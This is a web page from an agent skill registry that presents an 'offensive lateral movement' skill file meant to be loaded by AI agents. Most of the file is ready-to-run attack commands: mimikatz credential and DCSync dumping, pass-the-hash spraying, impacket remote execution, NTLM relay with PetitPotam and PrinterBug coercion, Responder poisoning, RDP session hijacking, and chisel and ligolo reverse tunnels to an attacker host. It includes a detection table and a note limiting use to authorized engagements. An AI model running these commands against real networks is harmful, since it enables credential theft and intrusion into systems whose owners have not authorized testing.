offensive-lateral-movement
Skill1 starsChanged 50 days agoMITView on GitHub
Comprehensive lateral movement tradecraft for authorized red team engagements covering credential-based movement (pass-the-hash, pass-the-ticket, overpass-the-hash), NTLM relay attacks (ntlmrelayx with PetitPotam, DFSCoerce, PrinterBug coercion), remote execution protocols (WMI, WinRM, DCOM, PsExec and alternatives), RDP session hijacking, and network pivoting through tunneling tools (chisel, ligolo-ng, SSH tunnels, SOCKS proxies). Provides operator-ready command sequences for mimikatz, crackmapexec/netexec, impacket suite, and evil-winrm with emphasis on OPSEC considerations, SMB signing bypass, and detection evasion. Maps to MITRE ATT&CK T1021 (Remote Services), T1550 (Use Alternate Authentication Material), and sub-techniques.
2 other projects use a version of this, 2 of them edited.
Adopted by
Most recently taken up by
- ajtazer/heckitedited, first seen Sep 11, 2026
- SnailSploit/Claude-Rededited, first seen Aug 6, 2026
Other versions2 projects use a version of this.
Word for word · 0
None found.
Edited · 2
- SnailSploit/Claude-Red★ 7.5k99% same
- ajtazer/heckit★ 299% same
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository78 other files it gives its agents.
- offensive-active-directorySkill
- offensive-netexecSkill
- offensive-ai-securitySkill
- offensive-api-abuseSkill
- offensive-api-securitySkill
- offensive-jwtSkill
- offensive-oauthSkill
- offensive-cicd-pipelineSkill
- offensive-cicd-secretsSkill
- offensive-cloudSkill
- offensive-container-escapeSkill
- offensive-k8s-attacksSkill
- offensive-crypto-attacksSkill
- offensive-tls-attacksSkill
- offensive-basic-exploitationSkill
- offensive-crash-analysisSkill
- offensive-exploit-dev-courseSkill
- offensive-exploit-developmentSkill
- offensive-mitigationsSkill
- offensive-toctouSkill
- offensive-anti-forensicsSkill
- offensive-c2-frameworksSkill
- offensive-bug-identificationSkill
- offensive-fuzzing-courseSkill
- offensive-fuzzingSkill
- offensive-vuln-classesSkill
- offensive-advanced-redteamSkill
- offensive-edr-evasionSkill
- offensive-initial-accessSkill
- offensive-keylogger-archSkill
- offensive-shellcodeSkill
- offensive-windows-boundariesSkill
- offensive-windows-mitigationsSkill
- offensive-iotSkill
- offensive-mobileSkill
- offensive-network-attacksSkill
- offensive-data-exfiltrationSkill
- offensive-persistenceSkill
- offensive-linux-privescSkill
- offensive-windows-privescSkill
- offensive-osint-methodologySkill
- offensive-osintSkill
- offensive-phishingSkill
- offensive-social-engineeringSkill
- offensive-dependency-confusionSkill
- offensive-supply-chainSkill
- offensive-fast-checkingSkill
- offensive-reportingSkill
- offensive-business-logicSkill
- offensive-deserializationSkill
- offensive-file-uploadSkill
- offensive-graphqlSkill
- offensive-idorSkill
- offensive-open-redirectSkill
- offensive-parameter-pollutionSkill
- offensive-race-conditionSkill
- offensive-rceSkill
- offensive-request-smugglingSkill
- offensive-sqliSkill
- offensive-ssrfSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
7 rules. About 0 are common, 7 are distinctive, and 0 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈7
Distinctive · estimate
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 23
Test credential reuse across discovered hosts with crackmapexec/netexec.
- Distinctive: line 27
Document each pivot for your engagement report.
- Distinctive: line 51
Use crackmapexec (or netexec) to spray the hash across the network:
- Distinctive: line 64
Use impacket for shell access:
- Distinctive: line 139
Check SMB signing across the network:
- Distinctive: line 283
If you have SYSTEM on a terminal server, you can hijack disconnected RDP sessions without knowing the session owner's password.
- Distinctive: line 307
When you land on a Linux host or a Windows host with OpenSSH, you set up tunnels to reach otherwise inaccessible network segments.
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Offensive Lateral Movement
Lateral movement is the phase where you expand access across a network after initial compromise. You pivot from one system to another using harvested credentials, token manipulation, or protocol abuse. The goal is to reach high-value targets -- domain controllers, database servers, file shares -- while minimizing detection footprint. Every technique here assumes you hold at least one valid credential or session token on the current host.
This skill covers credential-based movement, NTLM relay, remote execution protocols, session hijacking, and network tunneling. Apply these in authorized engagements only.
Quick Workflow
- Enumerate accessible hosts and open ports (445, 5985, 5986, 3389, 22, 135).
- Harvest credentials from the current host (LSASS, SAM, cached creds).
- Test credential reuse across discovered hosts with crackmapexec/netexec.
- Select a movement technique based on available credentials and target services.
- Establish persistence on the new host before moving further.
- Set up tunneling if you need to reach segmented networks.
- Document each pivot for your engagement report.
Pass-the-Hash
Pass-the-hash (PtH) lets you authenticate with an NTLM hash without knowing the plaintext password. You extract hashes from LSASS, the SAM database, or NTDS.dit, then inject them into authentication requests.
Extract hashes with mimikatz on the current host:
# Elevate to debug privilege and dump logon passwords
privilege::debug
sekurlsa::logonpasswords
# Dump SAM hashes (requires SYSTEM)
lsadump::sam
# Dump domain hashes from ntds.dit (on a DC)
lsadump::dcsync /domain:corp.local /all /csvUse crackmapexec (or netexec) to spray the hash across the network:
# Test a single hash against a subnet
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# Execute a command on a target via PtH
crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all"
# netexec (modern fork) with same syntax
nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --sharesUse impacket for shell access:
# PtH with psexec
impacket-psexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50
# PtH with wmiexec (stealthier, no service creation)
impacket-wmiexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50
# PtH with evil-winrm
evil-winrm -i 10.10.10.50 -u administrator -H <NT_HASH>OPSEC note: PsExec creates a service on the target (event 7045). Prefer
wmiexec or evil-winrm when possible. Crackmapexec with --no-bruteforce
prevents lockouts when testing multiple users against multiple hashes.
Pass-the-Ticket and Overpass-the-Hash
Pass-the-ticket (PtT) injects a stolen Kerberos TGT or TGS into your session, letting you authenticate as the ticket owner. Overpass-the-hash converts an NTLM hash into a Kerberos ticket, giving you Kerberos-based access from a hash alone.
Export tickets from memory with mimikatz:
# List all Kerberos tickets in memory
sekurlsa::tickets /export
# Inject a stolen TGT into the current session
kerberos::ptt C:\tickets\admin_krbtgt.kirbiOverpass-the-hash -- request a Kerberos TGT using an NTLM hash:
# Overpass-the-hash: create a new logon session with the hash
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<NT_HASH> /run:powershell.exeFrom Linux using impacket:
# Request a TGT with a hash (overpass-the-hash)
impacket-getTGT -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator
# Set the ticket in the environment
export KRB5CCNAME=administrator.ccache
# Use the ticket with psexec
impacket-psexec -k -no-pass corp.local/administrator@dc01.corp.localRequest a service ticket for a specific SPN:
# Get a TGS for CIFS service on a target
impacket-getST -spn cifs/fileserver.corp.local -hashes aad3b435b51404ee:<NT_HASH> corp.local/administratorOPSEC note: Kerberos authentication generates event 4768 (TGT request) and 4769 (TGS request). Overpass-the-hash produces an anomalous 4768 with RC4 encryption when AES is the domain default -- this is a known detection signal.
NTLM Relay Attacks
NTLM relay captures authentication attempts and forwards them to a target service. You coerce a machine to authenticate to your listener, then relay that authentication to another host where SMB signing is not enforced.
Check SMB signing across the network:
# Identify hosts without SMB signing required
crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
# Alternative with nmap
nmap --script smb2-security-mode -p 445 10.10.10.0/24Set up ntlmrelayx to relay captured authentication:
# Relay to targets without SMB signing, dump SAM
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
# Relay and execute a command
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c "whoami > C:\\relay_proof.txt"
# Relay to LDAP for delegation abuse or shadow credentials
impacket-ntlmrelayx -t ldaps://dc01.corp.local --shadow-credentials --shadow-target ws01$
# Relay to ADCS web enrollment for certificate theft
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainControllerCoerce authentication with PetitPotam (MS-EFSR abuse):
# Unauthenticated coercion (patched but often still works)
python3 PetitPotam.py <LISTENER_IP> <TARGET_DC_IP>
# Authenticated coercion
python3 PetitPotam.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>Coerce with DFSCoerce (MS-DFSNM):
python3 dfscoerce.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>Coerce with PrinterBug (MS-RPRN):
python3 printerbug.py corp.local/user:password@<TARGET_DC_IP> <LISTENER_IP>Set up Responder for poisoning and capture:
# Poison LLMNR/NBT-NS and capture hashes
responder -I eth0 -wFb
# Run in analysis mode first to identify traffic
responder -I eth0 -AOPSEC note: NTLM relay is noisy. Responder poisoning is detectable by monitoring for duplicate name resolution responses. PetitPotam coercion generates event 4624 type 3 logons from the DC to your listener.
Remote Execution Methods
Multiple protocols allow remote command execution once you have valid credentials. Each leaves a different forensic footprint.
WMI Execution
# impacket wmiexec -- semi-interactive shell via WMI
impacket-wmiexec corp.local/admin:Password1@10.10.10.50
# Execute a single command
impacket-wmiexec corp.local/admin:Password1@10.10.10.50 "ipconfig /all"
# With hash
impacket-wmiexec -hashes :<NT_HASH> corp.local/admin@10.10.10.50WMI does not create a service. Output is written to a temporary file on the ADMIN$ share and read back. Generates WMI event logs (Microsoft-Windows-WMI-Activity).
WinRM / PSRemoting
# evil-winrm interactive shell
evil-winrm -i 10.10.10.50 -u admin -p 'Password1'
# With hash
evil-winrm -i 10.10.10.50 -u admin -H <NT_HASH>
# Upload/download files
upload /local/path/payload.exe C:\Windows\Temp\payload.exe
download C:\Users\admin\Desktop\flag.txt /local/loot/flag.txt# Native PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName 10.10.10.50 -Credential $cred
Invoke-Command -ComputerName 10.10.10.50 -Credential $cred -ScriptBlock { whoami }WinRM requires port 5985 (HTTP) or 5986 (HTTPS) open and the user in the Remote Management Users group (or local admin).
PsExec and Alternatives
# impacket psexec -- creates a service, uploads binary
impacket-psexec corp.local/admin:Password1@10.10.10.50
# smbexec -- no binary upload, uses cmd.exe service
impacket-smbexec corp.local/admin:Password1@10.10.10.50
# atexec -- scheduled task execution
impacket-atexec corp.local/admin:Password1@10.10.10.50 "whoami"
# dcomexec -- DCOM MMC20.Application or ShellWindows
impacket-dcomexec -object MMC20 corp.local/admin:Password1@10.10.10.50DCOM Lateral Movement
# Instantiate MMC20.Application on remote host
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.50"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\dcom_proof.txt","7")
# ShellWindows method
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","10.10.10.50"))
$com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)DCOM requires port 135 plus dynamic RPC ports. Generates DCOM event logs (DistributedCOM 10016 errors are common indicators).
RDP Session Hijacking
If you have SYSTEM on a terminal server, you can hijack disconnected RDP sessions without knowing the session owner's password.
# List active sessions
query user
# Hijack a disconnected session (requires SYSTEM context)
# Session ID 2, redirect to your console session
tscon 2 /dest:console
# Create a service to run tscon as SYSTEM
sc create sesshijack binpath= "cmd.exe /k tscon 2 /dest:console"
net start sesshijackThis technique (T1563.002) is powerful on jump servers where administrators leave sessions disconnected. It produces event 4778 (session reconnected) and 4779 (session disconnected).
SSH Pivoting and Tunneling
When you land on a Linux host or a Windows host with OpenSSH, you set up tunnels to reach otherwise inaccessible network segments.
SSH Tunnels
# Local port forward: access 10.10.20.50:445 through pivot host
ssh -L 8445:10.10.20.50:445 user@pivot-host
# Dynamic SOCKS proxy through pivot host
ssh -D 1080 user@pivot-host
# Use proxychains with the SOCKS proxy
proxychains crackmapexec smb 10.10.20.0/24
# Remote port forward: expose internal service to your attack box
ssh -R 8080:127.0.0.1:80 user@attack-boxChisel
# On your attack box (server mode)
chisel server --reverse --port 8080
# On the pivot host (client, reverse SOCKS)
chisel client <ATTACK_IP>:8080 R:socks
# This creates a SOCKS5 proxy on attack box port 1080
# Use with proxychains
proxychains impacket-psexec corp.local/admin:Password1@10.10.20.50Ligolo-ng
# On attack box: start the proxy
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# On pivot host: connect the agent
ligolo-agent -connect <ATTACK_IP>:11601 -ignore-cert
# In the ligolo interface, add a route to the target network
>> session
>> ifconfig
>> start
# On attack box, add route
sudo ip route add 10.10.20.0/24 dev ligoloLigolo-ng creates a TUN interface on your attack box, giving you direct IP-layer access to the target network without needing proxychains. This is significantly more reliable than SOCKS proxying for tools that do not support proxy configuration.
Double Pivots
# Chain two SSH tunnels for multi-hop pivoting
# Hop 1: pivot1 can reach pivot2
ssh -L 2222:pivot2:22 user@pivot1
# Hop 2: through pivot2 to the final target network
ssh -L 8445:10.10.30.50:445 -p 2222 user@127.0.0.1
# Chisel double pivot
# Attack -> pivot1 -> pivot2 -> target
# On pivot1: chisel server + client chained
chisel server --port 9001 --reverse
chisel client <ATTACK_IP>:8080 R:socks
# On pivot2: connect through pivot1
chisel client pivot1:9001 R:1081:socksDetection / Defender View
Understand what defenders look for so you can assess detection risk.
| Technique | Primary Detection | Event IDs / Logs |
| Pass-the-Hash | NTLM logon with type 3, no preceding type 10 | 4624 (logon type 3, 9) |
| Pass-the-Ticket | TGT request with RC4 when AES is default | 4768, 4769 |
| NTLM Relay | Machine account authenticating to unusual services | 4624, NTLM audit logs |
| PsExec | Service creation, ADMIN$ share access | 7045, 5145 |
| WMI | WMI process creation, temp file on ADMIN$ | WMI-Activity, 4688 |
| WinRM | WSMan connection, PowerShell remoting logs | Microsoft-Windows-WinRM |
| DCOM | DistributedCOM errors, RPC traffic | 10016, 4688 |
| RDP Hijack | Session reconnect without logon | 4778, 4779 |
| Chisel/Ligolo | Unusual outbound connections, TUN interface | Netflow, Sysmon 3 |
Key defender controls you will encounter:
- SMB signing enforcement blocks relay attacks entirely.
- Credential Guard prevents LSASS hash extraction on modern Windows.
- Windows Defender Credential Guard protects Kerberos tickets in memory.
- LAPS makes local admin hashes unique per host, limiting PtH scope.
- Tiered administration restricts where privileged accounts can log on.
- Network segmentation limits lateral reachability.
- Sysmon with proper configuration captures process creation, network connections, and named pipe events that reveal most techniques here.
Engagement Cheatsheet
Rapid reference for common lateral movement scenarios:
SCENARIO TECHNIQUE TOOL / COMMAND
------------------------------- -------------------------- ----------------------------------------
Have NTLM hash, SMB open Pass-the-Hash crackmapexec smb -H / impacket-wmiexec -hashes
Have NTLM hash, WinRM open PtH over WinRM evil-winrm -H
Have cleartext creds PSRemoting / WinRM evil-winrm -u -p / Enter-PSSession
Have Kerberos ticket Pass-the-Ticket export KRB5CCNAME= / kerberos::ptt
No creds, SMB signing off NTLM Relay ntlmrelayx + PetitPotam/Responder
SYSTEM on terminal server RDP Hijack tscon <ID> /dest:console
Need to reach segmented net Tunneling chisel / ligolo-ng / ssh -D
Linux pivot host SSH tunneling ssh -D 1080 / ssh -L
Need full IP-layer access Ligolo-ng ligolo-proxy + ligolo-agent
Multi-hop pivot Chained tunnels SSH ProxyJump / chisel chain
Domain creds, want Kerberos Overpass-the-Hash sekurlsa::pth / impacket-getTGT
Need stealth execution WMI / DCOM impacket-wmiexec / dcomexecMITRE ATT&CK references:
- T1021 -- Remote Services (.001 RDP, .002 SMB, .003 DCOM, .004 SSH, .006 WinRM)
- T1550 -- Use Alternate Authentication Material (.002 PtH, .003 PtT)
- T1557 -- Adversary-in-the-Middle (.001 LLMNR/NBT-NS Poisoning)
- T1563 -- Remote Service Session Hijacking (.002 RDP Hijacking)
Key References
- Mimikatz wiki: https://github.com/gentilkiwi/mimikatz/wiki
- Impacket examples: https://github.com/fortra/impacket/tree/master/examples
- CrackMapExec / NetExec documentation: https://www.netexec.wiki/
- Evil-WinRM: https://github.com/Hackplayers/evil-winrm
- Chisel: https://github.com/jpillora/chisel
- Ligolo-ng: https://github.com/nicocha30/ligolo-ng
- PetitPotam: https://github.com/topotam/PetitPotam
- DFSCoerce: https://github.com/Wh04m1001/DFSCoerce
- The Hacker Recipes -- NTLM relay: https://www.thehacker.recipes/ad/movement/ntlm/relay
- MITRE ATT&CK Lateral Movement: https://attack.mitre.org/tactics/TA0008/
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

